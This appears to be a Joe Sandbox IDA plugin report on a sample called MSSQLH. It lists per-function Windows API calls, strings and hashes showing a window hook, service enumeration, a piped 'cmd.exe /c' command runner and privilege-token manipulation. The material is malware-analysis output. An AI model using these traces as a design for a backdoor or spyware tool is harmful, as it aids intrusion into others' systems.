Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: fdb9359bb36793330be33b37d0685f7040f6e85d335c8378c092d5181bace1ff
Instruction ID: babfa30339e6e99547f567178cfe9441ccd789eda691e8bf5949c972bbb9c456
Opcode Fuzzy Hash: fdb9359bb36793330be33b37d0685f7040f6e85d335c8378c092d5181bace1ff
Instruction Fuzzy Hash: 65116DB1A00B609FD724AF3A988462ABBE5FB487047414D3FE18BC7B50D7B8A4018B58

Function 00412210 Relevance: 6.1, APIs: 4, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000020,00000000,?,00000000,80000005), ref: 00412228
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,?,0000026C,?,00000000,80000005), ref: 00412267
FindCloseChangeNotification.KERNELBASE(00000000,?,?,0000026C,?,00000000,80000005), ref: 0041227A
CloseHandle.KERNEL32(00000000,?,?,0000026C,?,00000000,80000005), ref: 00412295

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseFile$ChangeCreateFindHandleNotificationWrite
String ID:
API String ID: 2570977422-0
Opcode ID: fc7912724c4f944be3e12be3aba9ee90731303a156daf8235b9ee27f26507794
Instruction ID: 93b42b8b614c53f3b3dafb2d5b6ee25a73940a66f415337cb0258a32bf29e16d
Opcode Fuzzy Hash: fc7912724c4f944be3e12be3aba9ee90731303a156daf8235b9ee27f26507794
Instruction Fuzzy Hash: BB11C231300301ABD720CF18ED85FAEB3E4FB84710F550A69FA50D7280D3B5E81A8756

Function 0041F638 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041F64B
SetWindowsHookExA.USER32(000000FF,V`Q,00000000,00000000), ref: 0041F65B

Part of subcall function 00424754: __EH_prolog.LIBCMT ref: 00424759

Strings

V`Q, xrefs: 0041F654

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID: V`Q
API String ID: 2183259885-815211277
Opcode ID: c071323675be2db394f00cda0ed09e3fd1fe2494752cb4d96e4b24bc162a42f0
Instruction ID: 38fc516a0693e87d281f98ee2d64b6eb91732783c3a705a9a21393660359fc34
Opcode Fuzzy Hash: c071323675be2db394f00cda0ed09e3fd1fe2494752cb4d96e4b24bc162a42f0
Instruction Fuzzy Hash: 45F020B0740360AEC7203BB0B80DB593690EB80710F86066FB6125A2E1CBAD8C86C76D

Function 00408707 Relevance: 4.6, APIs: 3, Instructions: 130registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408783
RegQueryValueExA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00408805
RegCloseKey.KERNELBASE(00000000), ref: 00408834

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: QueryValue$Close
String ID:
API String ID: 1979452859-0
Opcode ID: 8364da893ec84929e1bd763e1ac6d366e9c9a3a180312ad65461974b10e3937a
Instruction ID: 61854f3490de54eaa2b246fe502b4497078b0a047e892a7d055c8e24917c20ec
Opcode Fuzzy Hash: 8364da893ec84929e1bd763e1ac6d366e9c9a3a180312ad65461974b10e3937a
Instruction Fuzzy Hash: F6412D71E00209AFDF00EF95DD85BAF77B4EF18301F14406AFA14BB291D7799A109BA6

Function 00417491 Relevance: 4.6, APIs: 3, Instructions: 51COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0041747C,?,00000000,00000000,00415FCB,00000000,00000000), ref: 004174A6
TerminateProcess.KERNEL32(00000000,?,0041747C,?,00000000,00000000,00415FCB,00000000,00000000), ref: 004174AD
ExitProcess.KERNEL32 ref: 0041752E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3372bfdb71a82ddc914fec6394f4c860de99de4c290f1a54a04bf18e083badf7
Instruction ID: 446c9eda4e379cd19623ab776a64a194abd1afdf4ec20de200bb34cfd57ed0e3
Opcode Fuzzy Hash: 3372bfdb71a82ddc914fec6394f4c860de99de4c290f1a54a04bf18e083badf7
Instruction Fuzzy Hash: E201A13174C311EAC621AF69FD45AAEBBF5EB80710B50483FF54057160DB78AE808B6E

Function 00404DB7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(00000000,?,?,?,?,?,?,00404852,00000000,00000000), ref: 00404E17

Strings

RH@, xrefs: 00404E82

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: RH@
API String ID: 1721193555-3724912465
Opcode ID: 730482261fc208c11f3627b17a8f588a0505626a54856785143c222d34759d49
Instruction ID: b9e28c31068363ba41053c0c8ae40746bbdcf77bb820fa0a56c01f9124dbf05d
Opcode Fuzzy Hash: 730482261fc208c11f3627b17a8f588a0505626a54856785143c222d34759d49
Instruction Fuzzy Hash: 263195F0E40309A7EB20DA95DC56B6F76B8AB44700F20407FE715B63D1D2BD9A508B99

Function 00408608 Relevance: 3.1, APIs: 2, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 0040869D
RegCloseKey.ADVAPI32(00000000), ref: 004086CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseValue
String ID:
API String ID: 3132538880-0
Opcode ID: b802ce6dfdd79433a44d96015a4c0f3e5ec6fef53cb5f62ada0304dcfa5030b8
Instruction ID: be398fd666913f53ce9907b4a3cfb3e99dde25da9c2b44ae9cefd02fdc2bcb4f
Opcode Fuzzy Hash: b802ce6dfdd79433a44d96015a4c0f3e5ec6fef53cb5f62ada0304dcfa5030b8
Instruction Fuzzy Hash: 44214C34A40208EFEF10DF90CD86BAE7BB0EB09700F104469F914BB291D77A9A50DF5A

Function 004252EE Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000000,00000000,00423161,00000000,00000000,00000000,00000000,?,00000000,?,0041F01D,00000000,00000000,00000000,00000000,00415FC2), ref: 004252F7
SetErrorMode.KERNELBASE(00000000,?,00000000,?,0041F01D,00000000,00000000,00000000,00000000,00415FC2,00000000), ref: 004252FE

Part of subcall function 00425351: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 00425382
Part of subcall function 00425351: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 00425423
Part of subcall function 00425351: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 00425450

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: 63bdffbd520bef4df4b205db672608141a7376455f56f59cd40fcd53fa29264d
Instruction ID: bb60e86abd2b7ecc991469df42b5e5875ef8e1379cc253e639a472d51efa075f
Opcode Fuzzy Hash: 63bdffbd520bef4df4b205db672608141a7376455f56f59cd40fcd53fa29264d
Instruction Fuzzy Hash: DEF03C75A452208FD714EF25E445B497B94AF84710F46849FF4488B362CBF8D842CBA9

Function 00418BE3 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00415F40,00000001), ref: 00418BF4

Part of subcall function 00418A9B: GetVersionExA.KERNEL32 ref: 00418ABA

HeapDestroy.KERNEL32 ref: 00418C33

Part of subcall function 0041A693: HeapAlloc.KERNEL32(00000000,00000140,00418C1C,000003F8), ref: 0041A6A0

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: ab287596bbe3a38709005075ea21491fbe46efcb732fff50ba1c4f09095813f7
Instruction ID: a965feb3c27bcfe616585cb6c9adb303c47b859becbf910ab834fc6e1ab72ed9
Opcode Fuzzy Hash: ab287596bbe3a38709005075ea21491fbe46efcb732fff50ba1c4f09095813f7
Instruction Fuzzy Hash: B5F06D30A163029AEB306B716E497EE3694AB507C5F10083FF900C81A1FF68D5C296AE

Function 004166F1 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 004167D8

Part of subcall function 0041B8D0: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0041CD91,00000009,00000000,00000000,00000001,00418A2C,00000001,00000074,?,?,00000000,00000001), ref: 0041B90D
Part of subcall function 0041B8D0: EnterCriticalSection.KERNEL32(?,?,?,0041CD91,00000009,00000000,00000000,00000001,00418A2C,00000001,00000074,?,?,00000000,00000001), ref: 0041B928

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: bec1370871913b6562d886562827365c6c1626a45f4a6a83e8e2b33a2fee3f5d
Instruction ID: 7fa1c8a334e4f30f4a3335adb8d58ebc4844de5051c847f569bd8b9a88a7d3fd
Opcode Fuzzy Hash: bec1370871913b6562d886562827365c6c1626a45f4a6a83e8e2b33a2fee3f5d
Instruction Fuzzy Hash: CA219731600215ABDB10EB69DC41BDE77A4EB00B68F11451BF430E76C1D778E9C18B9C

Function 004036D5 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PathIsDirectoryW.SHLWAPI(00401776), ref: 004036F0

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: DirectoryPath
String ID:
API String ID: 1580926078-0
Opcode ID: bb595967fd0e842c83695924293b5cbb9dd2b31a721b6be9aad7d05a92652572
Instruction ID: 948f1006ece9f68fa0a461c258874c5527aa1fbf949c56809689e51bc1c7a26a
Opcode Fuzzy Hash: bb595967fd0e842c83695924293b5cbb9dd2b31a721b6be9aad7d05a92652572
Instruction Fuzzy Hash: B1F065B5E00308F7D710DE65D846B5EB7B89B15702F0484B5A910B7380E27A9A109BA6

Non-executed Functions

Function 0040CF7E Relevance: 38.4, APIs: 18, Strings: 3, Instructions: 1602memoryserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040D071
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040D0C7
GetProcessHeap.KERNEL32 ref: 0040D0F3
HeapAlloc.KERNEL32(?,00000008,00000000), ref: 0040D12A
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040D172
RtlMoveMemory.KERNEL32(00000000,?,?,?,?,?,00000000,?,00000000,00000000), ref: 0040D42D
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040D69E
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040D6E5
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040D70E
HeapAlloc.KERNEL32(00000001,00000008,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040D745
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040D77E
RtlMoveMemory.KERNEL32(?,00000000,00000024,?,?,?,?,?,?,?,?,?,?), ref: 0040D7BF
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040E14B
HeapFree.KERNEL32(00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040E182
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0040E1AE
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040E1F5
HeapFree.KERNEL32(00000001,00000001,00000000,?,00000000,?,00000000,00000000), ref: 0040E22C
CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,00000000,00000000), ref: 0040E258

Strings

LocalService, xrefs: 0040DD69
LocalSystem, xrefs: 0040DF97
NetworkService, xrefs: 0040DE80

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$Service$Process$AllocCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatus$Manager
String ID: LocalService$LocalSystem$NetworkService
API String ID: 639198646-295051543
Opcode ID: 989dafbe2f90e77634d70597ba72db576ade6173873792f27beecc90485c8997
Instruction ID: e5cd6ec9d4efc83b26bb5715c533e6fe19164ad9e8560229608072d220347a5b
Opcode Fuzzy Hash: 989dafbe2f90e77634d70597ba72db576ade6173873792f27beecc90485c8997
Instruction Fuzzy Hash: DBC260B1E40305ABEB00DF95DCC6B9EB7B4EF18304F14007AE614BA392E7B96955CB19

Function 0040E9E9 Relevance: 31.4, APIs: 14, Strings: 3, Instructions: 1609servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040EADC
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040EB5B
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040EB9C
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040EC0D
RtlMoveMemory.KERNEL32(00000000,?,?,?,?,?,00000000,?,00000000,00000000), ref: 0040EEE8
OpenServiceA.ADVAPI32(00000000,00000001,000F01FF), ref: 0040F1AB
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040F1FE
GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F232
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040F26B
RtlMoveMemory.KERNEL32(?,00000000,00000024), ref: 0040F2AC
GlobalFree.KERNEL32(00000000), ref: 0040FC34
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FC60
GlobalFree.KERNEL32(00000000), ref: 0040FC98
CloseServiceHandle.ADVAPI32(00000000), ref: 0040FCC4

Strings

LocalService, xrefs: 0040F84F
LocalSystem, xrefs: 0040FA7D
NetworkService, xrefs: 0040F966

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$Global$AllocCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatus$Manager
String ID: LocalService$LocalSystem$NetworkService
API String ID: 749800324-295051543
Opcode ID: 09b959491c88263b4d852397046ef2013fdef130537fe36d2b03cb36eaae25b5
Instruction ID: 52f82586e8bb54465daa81da6210c4843de6c403c5de2498629ca41e04889f6c
Opcode Fuzzy Hash: 09b959491c88263b4d852397046ef2013fdef130537fe36d2b03cb36eaae25b5
Instruction Fuzzy Hash: E0C280B1E40309ABEB10DF95DCC6B9E77B4EF18304F14007AE614BB392E6796954CB19

Function 004099B8 Relevance: 25.3, APIs: 12, Strings: 2, Instructions: 777pipesleepprocessCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409AB8
CreateProcessW.KERNEL32(00000000,?,00000002,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000001), ref: 00409DD1
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000001,00000001), ref: 00409EC7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000001,00000001), ref: 00409EFD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000001,00000001), ref: 00409F3E
WaitForInputIdle.USER32(?,000003E8), ref: 00409F77
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,?,?,?,?,?,?,00000001,00000001), ref: 00409FC5
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0040A049
GetExitCodeProcess.KERNEL32(?,00000000), ref: 0040A187

Part of subcall function 004032F0: strlen.MSVCRT ref: 00403365
Part of subcall function 004032F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000000), ref: 004033CC

Sleep.KERNEL32(00000001,?,?,?,?,?,?,00000001,00000001), ref: 0040A1C7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000001,00000001), ref: 0040A200
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000001,00000001), ref: 0040A22C

Strings

command.com /c , xrefs: 00409BD2
cmd.exe /c , xrefs: 00409BDC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipeProcess$ByteCharCodeExitFileIdleInputMultiNamedPeekReadSleepWaitWidestrlen
String ID: cmd.exe /c $command.com /c
API String ID: 3562253524-3067575191
Opcode ID: ef56d83a5ea550aadc9a8cca4d611909ccf986cbeddec4bd4bfdfe747c0ca2a6
Instruction ID: 606bfd58a6875a87f1b6d7c4ba00a46cb2dd820e4fbedbe74caf8bdb5d1f41cc
Opcode Fuzzy Hash: ef56d83a5ea550aadc9a8cca4d611909ccf986cbeddec4bd4bfdfe747c0ca2a6
Instruction Fuzzy Hash: D052F8B1E41305ABEB00DFA4ECC1B9EB7B5AF19314F240039E505BB381D779A950CB66

Function 004061CB Relevance: 16.6, APIs: 5, Strings: 4, Instructions: 848COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,000F01FF,00000000,?,?,?,?,?,?,?,?,?,-00000018), ref: 004063BA
LookupAccountNameA.ADVAPI32(00000000,00001000,?,00001000,00000000,00000000,00000000), ref: 00406455
InitializeSecurityDescriptor.ADVAPI32(00000000,?,?,?,00000001,?,?,?,?,?,?,?,?,?,-00000018), ref: 00406553

Strings

SeSecurityPrivilege, xrefs: 00406331, 00406A5D
SeRestorePrivilege, xrefs: 004062EF, 00406A1B
SeBackupPrivilege, xrefs: 00406310, 00406A3C
SeTakeOwnershipPrivilege, xrefs: 00406352, 00406A7E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
